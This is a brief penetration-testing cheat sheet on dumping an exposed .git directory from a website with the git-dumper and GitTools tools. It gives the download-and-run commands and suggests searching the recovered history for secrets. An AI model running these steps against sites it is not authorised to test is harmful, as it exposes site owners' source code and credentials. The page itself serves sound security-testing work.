icon

Dump Git Repository from Website

Last modified: 2025-03-17

If we can have permission to access git repositoy in target website, we can dump the git repository and investigate git logs or histories to get sensitive information.

Dumping

Method 1. Git-Dumper

git-dumper is an useful Python package.

pipx install git-dumper
git-dumper https://example.com/.git ./dumped

Method 2. GitTools

GitTools downloads Git repository of the web application.
To dump the repository, execute the following commands.

wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
chmod +x gitdumper.sh
./gitdumper.sh https://example.com/.git/ ./example

We should get the git repository in local.
Then extract the entire project by executing the following.

wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh
chmod +x extractor.sh
./extractor.sh ./example ./new_example

Now we retrieve the entire git project from website.
It is stored in “./new_example” folder. We can investigate the repository.

After Dumping…

If we succeed in dumping, we can investigate the repository with git command and get sensitive information. See Git GitHub Pentesting.